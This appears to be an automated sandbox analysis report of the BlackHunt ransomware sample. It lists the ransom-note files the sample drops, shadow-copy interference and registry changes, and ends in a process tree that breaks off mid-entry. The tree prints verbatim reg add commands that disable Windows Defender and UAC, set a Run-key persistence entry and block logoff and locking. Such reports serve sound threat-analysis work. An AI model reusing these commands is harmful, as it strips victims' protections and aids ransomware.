File opened for modification	C:\Program Files\InitializeOut.odp	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\pkcs11cryptotoken.md	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\relaxngcc.md	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File created	C:\Program Files\VideoLAN\VLC\locale\as_IN\LC_MESSAGES\#BlackHunt_ReadMe.hta	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File opened for modification	C:\Program Files\7-Zip\Lang\az.txt	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File opened for modification	C:\Program Files\7-Zip\Lang\th.txt	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\bin\server\classes.jsa	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\javafx\libffi.md	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\xmlresolver.md	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\ext\cldrdata.jar	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\unlimited\#BlackHunt_ReadMe.hta	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\COPYRIGHT	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\#BlackHunt_ReadMe.hta	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\images\cursors\win32_CopyNoDrop32x32.gif	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\#BlackHunt_ReadMe.hta	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File created	C:\Program Files\Java\jre-1.8\lib\amd64\#BlackHunt_Private.key	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\javafx\glib.md	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ar\LC_MESSAGES\#BlackHunt_ReadMe.txt	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ast\LC_MESSAGES\#BlackHunt_ReadMe.hta	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File created	C:\Program Files\VideoLAN\VLC\locale\az\LC_MESSAGES\#BlackHunt_Private.key	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ms.txt	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\cmm\#BlackHunt_ReadMe.txt	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File created	C:\Program Files\Java\jre-1.8\bin\plugin2\#BlackHunt_Private.key	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File created	C:\Program Files\Java\jre-1.8\lib\security\#BlackHunt_ReadMe.hta	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ar\#BlackHunt_ReadMe.hta	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File created	C:\Program Files\VideoLAN\VLC\locale\az\LC_MESSAGES\#BlackHunt_ReadMe.txt	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File created	C:\Program Files\VideoLAN\VLC\locale\br\LC_MESSAGES\#BlackHunt_ReadMe.txt	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File opened for modification	C:\Program Files\7-Zip\Lang\he.txt	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ko.txt	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File opened for modification	C:\Program Files\7-Zip\Lang\pl.txt	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\ecc.md	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\thaidict.md	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File created	C:\Program Files\VideoLAN\VLC\locale\an\LC_MESSAGES\#BlackHunt_ReadMe.txt	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File created	C:\Program Files\VideoLAN\VLC\locale\as_IN\#BlackHunt_ReadMe.txt	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File created	C:\Program Files\VideoLAN\VLC\locale\az\#BlackHunt_ReadMe.txt	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File opened for modification	C:\Program Files\7-Zip\Lang\de.txt	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File opened for modification	C:\Program Files\7-Zip\Lang\kk.txt	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ku-ckb.txt	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File created	C:\Program Files\Java\jdk-1.8\jre\bin\dtplugin\#BlackHunt_ReadMe.hta	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\jfr\#BlackHunt_ReadMe.txt	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\security\trusted.libraries	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\joni.md	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File created	C:\Program Files\Java\jre-1.8\legal\#BlackHunt_Private.key	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ar\LC_MESSAGES\#BlackHunt_ReadMe.hta	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2904	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
4444	vssadmin.exe
1820	vssadmin.exe
6120	vssadmin.exe
6132	vssadmin.exe
4548	vssadmin.exe
3668	vssadmin.exe

Modifies registry class 8 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4756	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe

Suspicious use of AdjustPrivilegeToken 23 IoCs

description	pid	Process
Token: SeDebugPrivilege	4756	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
Token: SeRestorePrivilege	4756	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
Token: SeBackupPrivilege	4756	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
Token: SeTakeOwnershipPrivilege	4756	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
Token: SeAuditPrivilege	4756	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
Token: SeSecurityPrivilege	4756	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
Token: SeIncBasePriorityPrivilege	4756	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
Token: SeBackupPrivilege	4856	vssvc.exe
Token: SeRestorePrivilege	4856	vssvc.exe
Token: SeAuditPrivilege	4856	vssvc.exe
Token: SeBackupPrivilege	6112	wbengine.exe
Token: SeRestorePrivilege	6112	wbengine.exe
Token: SeSecurityPrivilege	6112	wbengine.exe
Token: SeSecurityPrivilege	3208	wevtutil.exe
Token: SeBackupPrivilege	3208	wevtutil.exe
Token: SeSecurityPrivilege	4268	wevtutil.exe
Token: SeBackupPrivilege	4268	wevtutil.exe
Token: SeSecurityPrivilege	5048	wevtutil.exe
Token: SeBackupPrivilege	5048	wevtutil.exe
Token: SeSecurityPrivilege	1384	wevtutil.exe
Token: SeBackupPrivilege	1384	wevtutil.exe
Token: SeSecurityPrivilege	816	wevtutil.exe
Token: SeBackupPrivilege	816	wevtutil.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4756 wrote to memory of 2812	4756	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe	94
PID 4756 wrote to memory of 2812	4756	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe	94
PID 4756 wrote to memory of 1488	4756	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe	96
PID 4756 wrote to memory of 1488	4756	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe	96
PID 4756 wrote to memory of 224	4756	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe	98
PID 4756 wrote to memory of 224	4756	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe	98
PID 4756 wrote to memory of 1072	4756	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe	102
PID 4756 wrote to memory of 1072	4756	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe	102
PID 2812 wrote to memory of 1320	2812	cmd.exe	100
PID 2812 wrote to memory of 1320	2812	cmd.exe	100
PID 1488 wrote to memory of 1976	1488	cmd.exe	103
PID 1488 wrote to memory of 1976	1488	cmd.exe	103
PID 4756 wrote to memory of 1328	4756	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe	104
PID 4756 wrote to memory of 1328	4756	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe	104
PID 224 wrote to memory of 3352	224	cmd.exe	106
PID 224 wrote to memory of 3352	224	cmd.exe	106
PID 1072 wrote to memory of 3500	1072	cmd.exe	107
PID 1072 wrote to memory of 3500	1072	cmd.exe	107
PID 1328 wrote to memory of 5048	1328	cmd.exe	108
PID 1328 wrote to memory of 5048	1328	cmd.exe	108
PID 4756 wrote to memory of 3252	4756	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe	110
PID 4756 wrote to memory of 3252	4756	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe	110
PID 4756 wrote to memory of 2788	4756	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe	112
PID 4756 wrote to memory of 2788	4756	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe	112
PID 4756 wrote to memory of 3416	4756	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe	114
PID 4756 wrote to memory of 3416	4756	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe	114
PID 4756 wrote to memory of 2488	4756	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe	116
PID 4756 wrote to memory of 2488	4756	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe	116
PID 4756 wrote to memory of 316	4756	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe	118
PID 4756 wrote to memory of 316	4756	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe	118
PID 4756 wrote to memory of 1692	4756	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe	120
PID 4756 wrote to memory of 1692	4756	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe	120
PID 4756 wrote to memory of 4856	4756	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe	124
PID 4756 wrote to memory of 4856	4756	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe	124
PID 3252 wrote to memory of 3432	3252	cmd.exe	123
PID 3252 wrote to memory of 3432	3252	cmd.exe	123
PID 4756 wrote to memory of 632	4756	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe	125
PID 4756 wrote to memory of 632	4756	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe	125
PID 4756 wrote to memory of 5004	4756	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe	127
PID 4756 wrote to memory of 5004	4756	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe	127
PID 2788 wrote to memory of 1820	2788	cmd.exe	129
PID 2788 wrote to memory of 1820	2788	cmd.exe	129
PID 2488 wrote to memory of 3760	2488	cmd.exe	130
PID 2488 wrote to memory of 3760	2488	cmd.exe	130
PID 316 wrote to memory of 3940	316	cmd.exe	132
PID 316 wrote to memory of 3940	316	cmd.exe	132
PID 4756 wrote to memory of 2584	4756	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe	131
PID 4756 wrote to memory of 2584	4756	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe	131
PID 3416 wrote to memory of 4344	3416	cmd.exe	134
PID 3416 wrote to memory of 4344	3416	cmd.exe	134
PID 5004 wrote to memory of 2080	5004	cmd.exe	135
PID 5004 wrote to memory of 2080	5004	cmd.exe	135
PID 4756 wrote to memory of 2892	4756	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe	136
PID 4756 wrote to memory of 2892	4756	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe	136
PID 632 wrote to memory of 1884	632	cmd.exe	138
PID 632 wrote to memory of 1884	632	cmd.exe	138
PID 1692 wrote to memory of 4440	1692	cmd.exe	139
PID 1692 wrote to memory of 4440	1692	cmd.exe	139
PID 4756 wrote to memory of 2860	4756	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe	143
PID 4756 wrote to memory of 2860	4756	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe	143
PID 4856 wrote to memory of 4612	4856	cmd.exe	140
PID 4856 wrote to memory of 4612	4856	cmd.exe	140
PID 4756 wrote to memory of 4876	4756	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe	142
PID 4756 wrote to memory of 4876	4756	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe	142

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
"C:\Users\Admin\AppData\Local\Temp\7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe"
1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:4756
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2812
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:1320
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1488
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:1976
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:224
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:3352
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1072
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:3500
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1328
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:5048
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3252
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:3432
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2788
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:1820
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3416
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:4344
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2488
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:3760
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:316
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:3940
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1692
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:4440
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4856
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:4612
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:632
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:1884
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5004
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:2080
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:2584
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:1456
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2892
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:3420
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:4876
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:4920
- C:\Windows\System32\cmd.exe
